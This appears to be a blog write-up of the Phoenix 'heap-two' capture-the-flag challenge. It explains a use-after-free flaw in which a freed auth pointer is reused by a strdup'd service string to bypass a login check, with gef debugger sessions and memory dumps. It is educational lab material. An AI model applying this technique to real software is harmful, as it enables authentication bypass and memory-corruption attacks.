In my previous blog post I have discussed challenges ‘heap-zero’ and ‘heap-one’ of phoenix, today I will continue with heap exploitation and write about ‘heap-two’.
Heap-two
In this challenge we have a program that is executing an infinite loop, asking for user input.
In the program there is a structure defined as:
struct auth {
char name[32];
int auth;
};
and then two global variables:
struct auth *auth;
char *service;
The code offers 4 different options for the user:
auth STRING
,malloc
is used to allocate memory for a newauth
structure, and then this memory is set to 0. If the STRING is shorter than 31 bytes, this string will be copied to to thename
field.reset
, it willfree
the memory pointed by theauth
variable.service STRING
, will usestrdup
to duplicate STRING somewhere in memory (heap memory).login
, if the auth structure is not empty AND theauth
field is set, it will printyou have logged in already!
, otherwise it will printenter your password
. The objective of the challenge is to get the first message printed.
Exploit Strategy
We can see the available options as follows:
auth STRING
= setauth
variable to themalloc
valueservice STRING
= set a string in memory of length > 32reset
= free the memory pointed byauth
The exploitation will rely on the fact that the login
function doesn’t check whether auth
was freed before, will just check that the value pointed by it is not null, and that the auth+32
is also set.
The main problem is that nowhere in the code the auth
field of the auth
structure is set, so we will need to:
- Allocate
auth
, this will get value X - Free
auth
. Note that theauth
variable will still point at the same location. - Use
service
to place a string longer than 32 bytes in memory. This will use heap and since the previous chunk has been free’d, it will go at the same value ofauth
. login
. Theauth
variable points now to the region where theservice
string is. As long as the string is not null and the value at offset 32 (corresponding to theauth
field ofauth
struct) is not null, login will succeed.
Exploit Analysis
This is a UAF vulnerability, where freed memory is used because the pointers are not updated.
The exploit will work as follows:
gef➤ run
Starting program: /home/user/heap-two/heap-two
Welcome to phoenix/heap-two, brought to you by https://exploit.education
[ auth = 0, service = 0 ]
auth A
[ auth = 0x600e40, service = 0 ]
first, an auth structure is set, and we can see it points to 0x600e40
.
If we have a look at the memory we see:
gef➤ x /40dwx 0x600e40
0x600e40: 0x00000a41 0x00000000 0x00000000 0x00000000
0x600e50: 0x00000000 0x00000000 0x00000000 0x00000000 <-- end of name
0x600e60: --> 0x00000000<-int 0x00000000 0x00000000 0x00000000
We can see 0a41
(our A plus a CR) at the beginning of a 32 bytes area, and the byte at offset 32 is set to 0
.
Login at this point will fail:
login
please enter your password
[ auth = 0x600e40, service = 0 ]
We can now free the memory and allocate a service
string.
reset
[ auth = 0x600e40, service = 0 ]
service BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
[ auth = 0x600e40, service = 0x600e40 ]
We can see that at this point auth
and service
point to the same location, because the auth
pointer has not been updated once the free
was executed.
If we check the memory once again we see:
gef➤ x /40dwx 0x600e40
0x600e40: 0x42424220 0x42424242 0x42424242 0x42424242
0x600e50: 0x42424242 0x42424242 0x42424242 0x42424242
0x600e60: --> 0x00000a42<-int 0x00000000 0x00000000 0x00000000
The byte at offset 32 is now set to value 0a42
, or 420a
, considering the endiannes, which is some value.
At this point, the login
will succeed, as the check
if (auth && auth->auth)
will be true:
login
you have logged in already!
[ auth = 0x600e40, service = 0x600e40 ]